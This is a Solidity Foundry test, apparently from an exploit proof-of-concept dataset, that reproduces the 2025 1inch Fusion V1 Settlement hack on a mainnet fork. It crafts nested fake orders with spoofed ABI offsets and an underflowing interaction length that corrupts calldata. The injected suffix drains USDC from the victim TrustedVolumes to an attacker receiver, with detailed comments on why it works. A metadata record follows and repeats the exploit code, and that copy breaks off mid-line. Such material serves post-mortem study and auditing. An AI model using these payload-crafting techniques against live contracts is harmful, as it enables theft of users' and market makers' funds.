UNLICENSED\npragma solidity ^0.8.15;\n\nimport \"../basetest.sol\";\nimport \"./../interface.sol\";\n\n\n\n// @KeyInfo - Total Lost : 4.5M\n// Attacker : https://etherscan.io/address/0xA7264a43A57Ca17012148c46AdBc15a5F951766e\n// Attack Contract : https://etherscan.io/address/0x019BfC71D43c3492926D4A9a6C781F36706970C9\n// Vulnerable Contract : https://etherscan.io/address/0xa88800cd213da5ae406ce248380802bd53b47647\n// Funds Receiver: https://etherscan.io/address/0xbbb587e59251d219a7a05ce989ec1969c01522c0\n// Attack Tx : https://etherscan.io/tx/0x62734ce80311e64630a009dd101a967ea0a9c012fabbfce8eac90f0f4ca090d6\n\n// @Info\n// Vulnerable Contract Code : https://etherscan.io/address/0xa88800cd213da5ae406ce248380802bd53b47647#code\n\n// @Analysis\n// Twitter Guy : https://x.com/DecurityHQ/status/1898069385199153610\n// Post-mortem : https://blog.decurity.io/yul-calldata-corruption-1inch-postmortem-a7ea7a53bfd9\n\n// @Relevant Repos\n// How it works: https://web.archive.org/web/20230422045124/https://blog.1inch.io/fusion-swap-resolving-onchain-component/\n// https://blog.1inch.io/fusion-swap-resolving-the-offchain-component/\n// https://blog.1inch.io/fusion-mode-swap-resolving-45a9203f95e9/\n// Settlement: https://github.com/1inch/fusion-protocol/blob/934a8e7db4b98258c4c734566e8fcbc15b818ab5/contracts/Settlement.sol\n// Audit Limit: https://blog.openzeppelin.com/1inch-limit-order-protocol-audit\n// Dedaub of Attacker contract: https://app.dedaub.com/ethereum/address/0x019bfc71d43c3492926d4a9a6c781f36706970c9/decompiled\n\n// Attacker contract is not very important for this hack\n// as it mostly relays the orders to the settlement contract\n// it acts as a maker/taker for the orders\n// We'll focus instead on the crafting of the orders calldata\ninterface IAttackerContract {\n // If attacker is also tx.origin, isValidSignature will return 0x1626ba7e (valid)\n function isValidSignature(bytes32 digest, bytes calldata signature) external view returns (bytes4);\n // For deployer of the attack contract only\n function transfer(address _from, address _to, uint256 _wad) external;\n // Start of the attack, just calls Settlement with orders\n function settle(bytes calldata orders) external;\n // Attacker preapproved to the router v5 so it can gather the wei used for the fake orders\n function approve(address _token, address _spender, uint256 _amount) external;\n}\n\ninterface ISettlement {\n function settleOrders(bytes calldata order) external;\n}\n\nstruct Order {\n uint256 salt;\n address makerAsset;\n address takerAsset;\n address maker;\n address receiver;\n address allowedSender; // equals to Zero address on public orders\n uint256 makingAmount;\n uint256 takingAmount;\n uint256 offsets;\n // bytes makerAssetData;\n // bytes takerAssetData;\n // bytes getMakingAmount; // this.staticcall(abi.encodePacked(bytes, swapTakerAmount)) => (swapMakerAmount)\n // bytes getTakingAmount; // this.staticcall(abi.encodePacked(bytes, swapMakerAmount)) => (swapTakerAmount)\n // bytes predicate; // this.staticcall(bytes) => (bool)\n // bytes permit; // On first fill: permit.1.call(abi.encodePacked(permit.selector, permit.2))\n // bytes preInteraction;\n // bytes postInteraction;\n bytes interactions; // concat(makerAssetData, takerAssetData, getMakingAmount, getTakingAmount, predicate, permit, preIntercation, postInteraction)\n}\n\ncontract ONEINCH is Test {\n uint256 blocknumToForkFrom = 21982110;\n\n address ATTACK_DEPLOYER = 0xA7264a43A57Ca17012148c46AdBc15a5F951766e;\n address ATTACK_CONTRACT = 0x019BfC71D43c3492926D4A9a6C781F36706970C9;\n address VICTIM = 0xB02F39e382c90160Eb816DE5e0E428ac771d77B5; // (TrustedVolumes)\n address FUNDS_RECEIVER = 0xBbb587E59251D219a7a05Ce989ec1969C01522C0;\n address SettlementAddr = 0xA88800CD213dA5Ae406ce248380802BD53b47647;\n address AGGREGATION_ROUTER_V5 = 0x1111111254EEB25477B68fb85Ed929f73A960582;\n address USDC = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48;\n address USDT = 0xdAC17F958D2ee523a2206206994597C13D831ec7;\n\n bytes4 private constant _FILL_ORDER_TO_SELECTOR = 0xe5d7bde6; // IOrderMixin.fillOrderTo.selector\n bytes1 private constant _FINALIZE_INTERACTION = 0x01;\n\n\n function setUp() public {\n vm.createSelectFork(\"mainnet\", blocknumToForkFrom);\n // Log balances of attacker contract pre-attack (needs very little to start the attack)\n console.log(\"Attacker Contract USDC Balance: \", TokenHelper.getTokenBalance(USDC, ATTACK_CONTRACT));\n console.log(\"Attacker Contract USDT Balance: \", TokenHelper.getTokenBalance(USDT, ATTACK_CONTRACT));\n\n }\n\n function testExploit() public {\n\n uint256 AMOUNT_TO_STEAL = 0xE8D4A51000; // 1M\n bytes1 _CONTINUE_INTERACTION = 0x00;\n\n // Beauty of abi encoding, discerning between a dynamic type that's bytes(0) (thus getting a dynamic offset),\n // and a static type inplace is not possible, so masquerading as a dynamic type\n // we spoof the offsets expected by fillOrderTo(order_, signature, interaction)\n uint256 FAKE_SIGNATURE_LENGTH_OFFSET = 0x240;\n uint256 FAKE_INTERACTION_LENGTH_OFFSET = 0x460;\n\n uint256 _PADDING = FAKE_INTERACTION_LENGTH_OFFSET - FAKE_SIGNATURE_LENGTH_OFFSET; // (544 bytes)\n bytes memory zeroBytes = new bytes(_PADDING); // Future place where our fake interaction will live after going back up FAKE_INTERACTION_LENGTH back in the calldata\n\n uint256 FAKE_INTERACTION_LENGTH = 0xfffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe00; // -512 in int\n //\n\n // Reminder: in normal conditions _settleOrder never shortens the payload, it only **appends** to it\n // But after the calldata copy in _settleOrder the huge FAKE_INTERACTION_LENGTH\n // will cause an overflow in the right operation of:\n // -> mstore(add(add(ptr, interactionLengthOffset), 4), add(interactionLength, suffixLength))\n // -> add(interactionLength, suffixLength) will be == 0\n // So what it means is that it's setting our fake interactionLength to 0, cleanings the bytes\n\n // to write our payload **in the middle** of the copied calldata over our zeroBytes\n // Where exactly? The first overflow was to set the interactionLength to 0\n // The second overflow happens for the offset calculation\n // -> let offset := add(add(ptr, interactionOffset), interactionLength)\n //\n // Low Memory (0x00) High Memory (~0x1720 = 5920 bytes)\n // \u2502 \u2502\n // \u251c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2524\n // \u2502 ... previously used memory (stack, local vars, etc.) ... \u2502\n // \u251c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2524\u25c0\u2500\u2500\u2500 ptr = 5920 bytes (0x1720)\n // \u2502 [ ptr (0x1720) ] \u2502\n // \u2502 (start of new memory buffer) \u2502\n // \u251c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2524\n // \u2502 \u2502\n // \u2502 Copied calldata (Order struct, initial data, etc.) \u2502\n // \u2502 \u2502\n // \u251c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2524\u25c0\u2500\u2500\u2500 offset = 6560 bytes (0x19A0)\n // \u2502 \u2502\n // \u2502 [ \u26a0\ufe0f Overflows writing appended suffix data here (early!) \u26a0\ufe0f ] \u2502\n // \u2502 \u2502\n // \u2502 mstore(offset + 0x04, totalFee) \u2502\n // \u2502 mstore(offset + 0x24, resolver) \u2502\n // \u2502 \u2502\n // \u251c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2524\u25c0\u2500\u2500\u2500 ptr + interactionOffset (7072 bytes, 0x1BA0)\n // \u2502 \u2502\n // \u2502 [ Interactions array should ideally start HERE! ] \u2502\n // \u2502 (interactionOffset = 1152 bytes from ptr) \u2502\n // \u2502 \u2502\n // \u251c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2524\u25c0\u2500\u2500\u2500 ptr + interactionOffset + 480 = 7552 bytes (0x1D80)\n // \u2502 \u2502\n // \u2502 ... rest of appended suffix data (512 bytes) ... \u2502\n // \u2502 [End of overflowed data] \u2502\n // \u251c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2524\n // \u2502 \u2502\n // \u2502 Copied calldata with hand crafted (320 bytes) \u2502\n // \u2502 (fillOrderTo bytes calldata interaction) \u2502\n // \u251c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2524\n // \u2502 ... a few 0 bytes now that they moved up ... \u2502\n // \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518\n // It means we now control the END of the calldata, where we already wrote our fake suffix\n // with _FINALIZE_INTERACTION when crafting finalOrderInteraction below\n\n // Hand crafting our own suffix like _settleOrder would\n // let offset := add(add(ptr, interactionOffset), interactionLength)\n // mstore(add(offset, 0x04), totalFee)\n // mstore(add(offset, 0x24), resolver)\n // mstore(add(offset, 0x44), calldataload(add(order, 0x40))) // takerAsset\n // mstore(add(offset, 0x64), rateBump)\n // mstore(add(offset, 0x84), takingFeeData)\n // let tokensAndAmountsLength := mload(tokensAndAmounts)\n // memcpy(add(offset, 0xa4), add(tokensAndAmounts, 0x20), tokensAndAmountsLength)\n // mstore(add(offset, add(0xa4, tokensAndAmountsLength)), tokensAndAmountsLength)\n //}\n\n bytes memory interaction5;\n uint _AMOUNT_TO_STEAL = AMOUNT_TO_STEAL;\n \n {\n Order memory sixthOrder = Order(\n 0, // salt\n USDT, // makerAsset\n USDC, // takerAsset USDC\n ATTACK_CONTRACT, // maker\n FUNDS_RECEIVER, // receiver\n SettlementAddr, // allowedSender\n 1, // makingAmount\n AMOUNT_TO_STEAL, // takingAmount\n 0, // offsets\n hex\"\" // interactions\n );\n bytes memory dynamicSuffix = abi.encode(0, VICTIM, USDC, 0, 0, USDC, _AMOUNT_TO_STEAL, 0x40); // What the resolver will use\n bytes memory suffixPadding = new bytes(23);\n bytes memory finalOrderInteraction =\n abi.encodePacked(SettlementAddr, _FINALIZE_INTERACTION, VICTIM, suffixPadding, dynamicSuffix);\n // When interaction5 is finally called back on a _settleOrder coming from V5Router::fillOrderTo->Settlement::fillOrderInteraction\n // suffixLength will be 512 (0x200), combined with\n interaction5 = abi.encodePacked(\n SettlementAddr,\n _CONTINUE_INTERACTION,\n abi.encode(\n sixthOrder,\n FAKE_SIGNATURE_LENGTH_OFFSET,\n FAKE_INTERACTION_LENGTH_OFFSET,\n 0,\n _AMOUNT_TO_STEAL,\n 0,\n ATTACK_CONTRACT\n ),\n zeroBytes,\n FAKE_INTERACTION_LENGTH,\n finalOrderInteraction\n );\n }\n \n bytes memory signature = hex\"\";\n\n // Order memory _fifthOrder = fifthOrder; // Stack to deep\n {\n\n Order memory fifthOrder = Order(\n 0, // salt\n USDT, // makerAsset\n USDC, // takerAsset USDC\n ATTACK_CONTRACT, // maker\n ATTACK_CONTRACT, // receiver\n SettlementAddr, // allowedSender\n 1, // makingAmount\n 1, // takingAmount\n 0, // offsets\n hex\"\" // interactions\n );\n // Ping pong to grow tokensAndAmounts.length \u2191\n bytes memory interaction4 = abi.encodePacked(\n SettlementAddr,\n _CONTINUE_INTERACTION,\n abi.encode(fifthOrder, signature, interaction5, 0, 1, 0, ATTACK_CONTRACT)\n );\n\n bytes1 __CONTINUE_INTERACTION = 0x00;\n Order memory fourthOrder = Order(\n 1, // salt\n USDT, // makerAsset\n USDC, // takerAsset USDC\n ATTACK_CONTRACT, // maker\n ATTACK_CONTRACT, // receiver\n SettlementAddr, // allowedSender\n 1, // makingAmount\n 1, // takingAmount\n 0, // offsets\n hex\"\" // interactions\n );\n\n // Ping pong to grow tokensAndAmounts.length \u2191\n bytes memory interaction3 = abi.encodePacked(\n SettlementAddr,\n __CONTINUE_INTERACTION,\n abi.encode(fourthOrder, signature, interaction4, 0, 1, 0, ATTACK_CONTRACT)\n );\n\n Order memory thirdOrder = Order(\n 2, // salt\n USDT, // makerAsset\n USDC, // takerAsset USDC\n ATTACK_CONTRACT, // maker\n ATTACK_CONTRACT, // receiver\n SettlementAddr, // allowedSender\n 1, // makingAmount\n 1, // takingAmount\n 0, // offsets\n hex\"\" // interactions\n );\n\n // Ping pong to grow tokensAndAmounts.length \u2191\n bytes memory interaction2 = abi.encodePacked(\n SettlementAddr,\n __CONTINUE_INTERACTION,\n abi.encode(thirdOrder, signature, interaction3, 0, 1, 0, ATTACK_CONTRACT)\n );\n\n Order memory secondOrder = Order(\n 3, // salt\n USDT, // makerAsset\n USDC, // takerAsset USDC\n ATTACK_CONTRACT, // maker\n ATTACK_CONTRACT, // receiver\n SettlementAddr, // allowedSender\n 1, // makingAmount\n 1, // takingAmount\n 0, // offsets\n hex\"\" // interactions\n );\n\n // Ping pong to grow tokensAndAmounts.length \u2191\n bytes memory interaction = abi.encodePacked(\n SettlementAddr,\n __CONTINUE_INTERACTION,\n abi.encode(secondOrder, signature, interaction2, 0, 1, 0, ATTACK_CONTRACT)\n );\n\n Order memory orderStruct = Order(\n 4, // salt\n USDT, // makerAsset\n USDC, // takerAsset USDC\n ATTACK_CONTRACT, // maker\n ATTACK_CONTRACT, // receiver\n SettlementAddr, // allowedSender\n 1, // makingAmount\n 1, // takingAmount\n 0, // offsets\n hex\"\" // interactions (empty)\n );\n\n // Final payload, will execute bottom up from interaction to interaction5 \u2191\n bytes memory orderData = abi.encode(orderStruct, signature, interaction, 0, 1, 0, ATTACK_CONTRACT);\n \n vm.prank(ATTACK_DEPLOYER, ATTACK_DEPLOYER);\n\n // Finally call the attack contract with the crafted order\n ATTACK_CONTRACT.call(abi.encodeWithSignature(\"settle(bytes)\", orderData));\n }\n\n uint256 balanceUSDCFundsReceiver = IUSDC(USDC).balanceOf(FUNDS_RECEIVER);\n console.log(\"Stolen %d USDC\", balanceUSDCFundsReceiver);\n }\n}\n", "type": "exploit_poc", "protocol": "OneInchFusionV1SettlementHack.sol", "date": "2025-03", "file_name": "OneInchFusionV1SettlementHack.sol_exp.sol", "attack_vector": null, "content_hash": "645d24d86640b12b", "collected_at": "2026-01-07T10:59:16.532374", "_source": "postmortems", "chain": "ethereum", "block_number": null, "total_lost_raw": "4.5M", "total_lost_usd": 4500000.0, "attacker_address": "https://etherscan.io/address/0xA7264a43A57Ca17012148c46AdBc15a5F951766e", "attack_contract": "https://etherscan.io/address/0x019BfC71D43c3492926D4A9a6C781F36706970C9", "vulnerable_contract": "https://etherscan.io/address/0xa88800cd213da5ae406ce248380802bd53b47647", "attack_tx": "https://etherscan.io/tx/0x62734ce80311e64630a009dd101a967ea0a9c012fabbfce8eac90f0f4ca090d6", "postmortem_url": "https://blog.decurity.io/yul-calldata-corruption-1inch-postmortem-a7ea7a53bfd9", "twitter_url": "https://x.com/DecurityHQ/status/1898069385199153610", "has_keyinfo": true, "has_analysis": true, "has_attack_vector": false, "severity": "critical", "severity_raw": "4.5M", "category": "unknown", "exploit_code": "function testExploit() public {\n\n uint256 AMOUNT_TO_STEAL = 0xE8D4A51000; // 1M\n bytes1 _CONTINUE_INTERACTION = 0x00;\n\n // Beauty of abi encoding, discerning between a dynamic type that's bytes(0) (thus getting a dynamic offset),\n // and a static type inplace is not possible, so masquerading as a dynamic type\n // we spoof the offsets expected by fillOrderTo(order_, signature, interaction)\n uint256 FAKE_SIGNATURE_LENGTH_OFFSET = 0x240;\n uint256 FAKE_INTERACTION_LENGTH_OFFSET = 0x460;\n\n uint256 _PADDING = FAKE_INTERACTION_LENGTH_OFFSET - FAKE_SIGNATURE_LENGTH_OFFSET; // (544 bytes)\n bytes memory zeroBytes = new bytes(_PADDING); // Future place where our fake interaction will live after going back up FAKE_INTERACTION_LENGTH back in the calldata\n\n uint256 FAKE_INTERACTION_LENGTH = 0xfffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe00; // -512 in int\n //\n\n // Reminder: in normal conditions _settleOrder never shortens the payload, it only **appends** to it\n // But after the calldata copy in _settleOrder the huge FAKE_INTERACTION_LENGTH\n // will cause an overflow in the right operation of:\n // -> mstore(add(add(ptr, interactionLengthOffset), 4), add(interactionLength, suffixLength))\n // -> add(interactionLength, suffixLength) will be == 0\n // So what it means is that it's setting our fake interactionLength to 0, cleanings the bytes\n\n // to write our payload **in the middle** of the copied calldata over our zeroBytes\n // Where exactly? The first overflow was to set the interactionLength to 0\n // The second overflow happens for the offset calculation\n // -> let offset := add(add(ptr, interactionOffset), interactionLength)\n //\n // Low Memory (0x00) High Memory (~0x1720 = 5920 bytes)\n // \u2502 \u2502\n // \u251c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2524\n // \u2502 ... previously used memory (stack, local vars, etc.) ... \u2502\n // \u251c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2524\u25c0\u2500\u2500\u2500 ptr = 5920 bytes (0x1720)\n // \u2502 [ ptr (0x1720) ] \u2502\n // \u2502 (start of new memory buffer) \u2502\n // \u251c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2524\n // \u2502 \u2502\n // \u2502 Copied calldata (Order struct, initial data, etc.) \u2502\n // \u2502 \u2502\n // \u251c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2524\u25c0\u2500\u2500\u2500 offset = 6560 bytes (0x19A0)\n // \u2502 \u2502\n // \u2502 [ \u26a0\ufe0f Overflows writing appended suffix data here (early!) \u26a0\ufe0f ] \u2502\n // \u2502 \u2502\n // \u2502 mstore(offset + 0x04, totalFee) \u2502\n // \u2502 mstore(offset + 0x24, resolver) \u2502\n // \u2502 \u2502\n // \u251c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2524\u25c0\u2500\u2500\u2500 ptr + interactionOffset (7072 bytes, 0x1BA0)\n // \u2502 \u2502\n // \u2502 [ Interactions array should ideally start HERE! ] \u2502\n // \u2502 (interactionOffset = 1152 bytes from ptr) \u2502\n // \u2502 \u2502\n // \u251c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2524\u25c0\u2500\u2500\u2500 ptr + interactionOffset + 480 = 7552 bytes (0x1D80)\n // \u2502 \u2502\n // \u2502 ... rest of appended suffix data (512 bytes) ... \u2502\n // \u2502 [End of overflowed data] \u2502\n // \u251c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2524\n // \u2502 \u2502\n // \u2502 Copied calldata with hand crafted (320 bytes) \u2502\n // \u2502 (fillOrderTo bytes calldata interaction) \u2502\n // \u251c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2524\n // \u2502 ... a few 0 bytes now that they moved up ... \u2502\n // \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518\n // It means we now control the END of the calldata, where we already wrote our fake suffix\n // with _FINALIZE_INTERACTION when crafting finalOrderInteraction below\n\n // Hand crafting our own suffix like _settleOrder would\n // let offset := add(add(ptr, interactionOffset), interactionLength)\n // mstore(add(offset, 0x04), totalFee)\n // mstore(add(offset, 0x24), resolver)\n // mstore(add(offset, 0x44), calldataload(add(order, 0x40))) // takerAsset\n // mstore(add(offset, 0x64), rateBump)\n // mstore(add(offset, 0x84), takingFeeData)\n // let tokensAndAmountsLength := mload(tokensAndAmounts)\n // memcpy(add(offset, 0xa4), add(tokensAndAmounts, 0x20), tokensAndAmountsLength)\n // mstore(add(offset, add(0xa4, tokensAndAmountsLength)), tokensAndAmountsLength)\n //}\n\n bytes memory interaction5;\n uint _AMOUNT_TO_STEAL = AMOUNT_TO_STEAL;\n \n {\n Order memory sixthOrder = Order(\n 0, // salt\n USDT, // makerAsset\n USDC, // takerAsset USDC\n ATTACK_CONTRACT, // maker\n FUNDS_RECEIVER, // receiver\n SettlementAddr, // allowedSender\n 1, // makingAmount\n AMOUNT_TO_STEAL, // takingAmount\n 0, // offsets\n hex\"\" // interactions\n );\n bytes memory dynamicSuffix = abi.encode(0, VICTIM, USDC, 0, 0, USDC, _AMOUNT_TO_STEAL, 0x40); // What the resolver will use\n bytes memory suffixPadding = new bytes(23);\n bytes memory finalOrderInteraction =\n abi.encodePacked(SettlementAddr, _FINALIZE_INTERACTION, VICTIM, suffixPadding, dynamicSuffix);\n // When interaction5 is finally called back on a _settleOrder coming from V5Router::fillOrderTo->Settlement::fillOrderInteraction\n // suffixLength will be 512 (0x200), combined with\n interaction5 = abi.encodePacked(\n 